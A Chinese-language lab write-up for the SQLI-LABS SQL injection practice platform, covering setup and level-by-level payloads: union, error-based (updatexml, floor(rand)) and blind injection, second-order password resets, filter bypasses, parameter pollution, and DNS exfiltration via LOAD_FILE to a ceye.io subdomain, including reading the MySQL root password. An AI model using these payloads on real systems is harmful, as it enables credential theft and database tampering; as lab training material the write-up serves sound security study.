介绍

SQLI-LABS 是一个 SQL 注入练习平台, 包含了基础的 sql 注入案例，挺好玩的
项目地址在这

安装

将源代码复制到 Apache webroot 文件夹(htddocs，/var/www)
打开 sql-connections 文件夹下的"db-creds.inc"文件
修改 mysql 用户名和密码为你自己的
打开浏览器，通过 localhost 的 index.html 访问文件夹
点击 setup/resetDB 就会在你的 mysql 中创造数据库
开始日站咯

分析

select *,* from XX where id = '$id' LIMIT 0,1
select *,* from XX where id = '' or 1=1 limit 1,2--+' LIMIT 0,1
http://localhost/sqllab/Less-1/?id=' or 0 union all SELECT 0,TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='security' limit 3,4 --+

http://localhost/sqllab/Less-1/?id=' or 0 union all SELECT 0,TABLE_NAME,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA ='security' limit 1,2 --+

http://localhost/sqllab/Less-1/?id=' or 0 union all SELECT 0,username,password FROM security.users limit 1,2 --+


数据库版本: @@version
查看 MySQL 的当前用户 USER()
INFORMATION_SCHEMA.COLUMNS
INFORMATION_SCHEMA.TABLES


select *,* from XX where id = '

' LIMIT 0,1

http://localhost/sqllab/Less-1/?id=' or 1=(SELECT length(TABLE_NAME FROM) INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='security' limit 0,1) --+

记录一下技巧
select group_concat(username) from users;
(sleep(ascii(mid(user()from(2)for(1)))=109))

比如在 mysql 中我们可以使用如下的经典语句进行报错。
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;

这是网上流传很广的一个版本，可以简化成如下的形式。
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果关键的表被禁用了，可以使用这种形式
select count(*) from (select 1 union select null union select !1)x group by concat(version(),floor(rand(0)*2));

如果 rand 被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
其实这是 mysql 的一个 bug 所引起的，其他数据库都不会因为这个问题而报错。

UPDATE table SET password = '' WHERE username = 'Dhakkan'

基于报错注入：
UPDATE users SET password = ''+(select updatexml(1,concat('',(select from (select username from security.users limit 0,1)x),'',(select from (select password from security.users limit 0,1)x)),1))+'' WHERE username = 'Dhakkan';

(通过子查询，使 select 的表更换一个名称，解决在同一语句中不能先 select 出同一表中的某些值，再 update 这个表的限制)
UPDATE users SET password = ''+(select 1 from (select 1) as a where updatexml(1,concat('*',(select username from security.users as x limit 0,1)),1))+'' WHERE username = 'Dhakkan';
会报错：
即"ERROR 1093 (HY000): You can't specify target table 'users' for update in FROM clause"

盲注也行：
基于时间
select(select case when length(database())=8 then sleep(1) else '1' end From ((select 1 as a) union (select 2 as b)) as c);
select(select if(length(database())=8,sleep(1),'1') From ((select 1 as a) union (select 2 as b)) as c);

或者基于正则

select(select 'a' REGEXP (case when length(database())=8 then '.' else '' end) From ((select 1 as a) union (select 2 as b)) as c);

即
UPDATE users SET password = ''+(select(select case when length(database())=8 then sleep(1) else '1' end From ((select 1 as a) union (select 2 as b)) as c))+'' WHERE username = 'Dhakkan';
或者
UPDATE users SET password = ''+(select(select 'a' REGEXP (case when length(database())=8 then '.' else '' end) From ((select 1 as a) union (select 2 as b)) as c))+'' WHERE username = 'Dhakkan';

UPDATE users SET password = ''+(select(select case when length(database())=8 then sleep(1) else '1' end From (select 1,2)))+'' WHERE username = 'Dhakkan';

注册一个用户：
' or 1 or '
密码为 hack
然后修改密码为 hackme，提交后数据库全部的用户密码都为 hackme
UPDATE table SET password = 'hackme' WHERE username = '
' or 1 or '
'  and password = ''
比较奇怪的地方是，这样修改的时候，后台貌似能检测到，看了一下源码，有以下判断：
$row = mysql_affected_rows();
if($row==1)
那就能解释这个问题了
但是 即使返回了错误页面，数据库实际上已经执行了


假如你知道管理员的账号，那么你可以注册一个
admin'#，密码为 troy
然后登陆修改密码
UPDATE table SET password = 'troy' WHERE username = 'admin'#' and password = 'troy'
实现重置管理员密码

用户名密码字段长度限制，没法再深入
' or 1 or '就占用 11 个字符了，只剩 9 个字符可用，database()都有 10 个字符

只过滤了空格以及 union、select, sql 大小写不敏感，随便大写一下就过了，空格用 %a0
或者多嵌套几层
0" uunionnion seseleselectctlect 1,2,group_concat(username,'<>',password,'
') from users where "1
select 貌似过滤了几次，要多嵌套几层

EXEC('se'+'lect'+'* from users;' )

很简单：
0' or (selecT (updatexml(1,concat('|',(selecT username from security.users limit 0,1),'<>',(selecT password from security.users limit 0,1)),1)) from (selecT 1,2)x) or '

当然也有：
0' unioN selecT 1,2,group_concat(username,'<>',password,'
') from users where '1

和前几题一样的

## Day33-Less29
### 分析

这题应该用 login.php 来玩
index.php 没啥用啊

这题第一次接触的时候没审计代码怕是过不去
首先能猜出后面只允许数字过，剩下的就都不知道了

审计代码发现，先过一个 java_implimentation，把第一个叫 id 的参数拿出来，然后，把这个参数扔到 whitelist 的白名单过滤
但是，\(id=\)_GET['id'];取得却是最后一次出现的 id，，也就是说，对于第二个出现的 id，毫无过滤。所以可以这样
?id=1&id=1'
就可以看到报错了
'1'' LIMIT 0,1
接下来该干啥干啥
select XX,XX,XX from XXX where id='' LIMIT 0,1

select XX,XX,XX from XXX where id='
0' union select 1,2,group_concat(username,'<>',password,'
') from users where '1
' LIMIT 0,1

?id=1&id=0' union select 1,2,group_concat(username,'<>',password,'
') from users where '1


### 代码

不过返回的时候 XPATH syntax error 有截断，遍历一下就 OK 了：

或者利用 concat 一个一个搞也行

这种情况下，不需要知道用户名

### 分析

盲注
交给 py 去做吧

不过次数应该会大于 130
找到了一个更好的办法，DNS 解析
SELECT LOAD_FILE(CONCAT('\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.xxxxxx.ceye.io\abc'))

所以可以构造
http://localhost/sqllab/Less-62/?id=1') and if((SELECT LOAD_FILE(CONCAT('\\',(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='challenges' limit 0,1),'.xxxxxx.ceye.io\abc'))),1,1)--+

得到
q1bcv0fqh9.xxxxxx.ceye.io

继续，得到表名
http://localhost/sqllab/Less-62/?id=1') and if(1,(SELECT LOAD_FILE(CONCAT('\\',(SELECT column_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='challenges' and column_NAME like 'sec%' limit 0,1),'.xxxxxx.ceye.io\abc'))),1)--+

继续，得到 key
http://localhost/sqllab/Less-62/?id=1') and if(1,(SELECT LOAD_FILE(CONCAT('\\',(SELECT secret_T82V FROM challenges.q1bcv0fqh9 limit 0,1),'.xxxxxx.ceye.io\abc'))),1)--+

emm
有点开挂的赶脚..
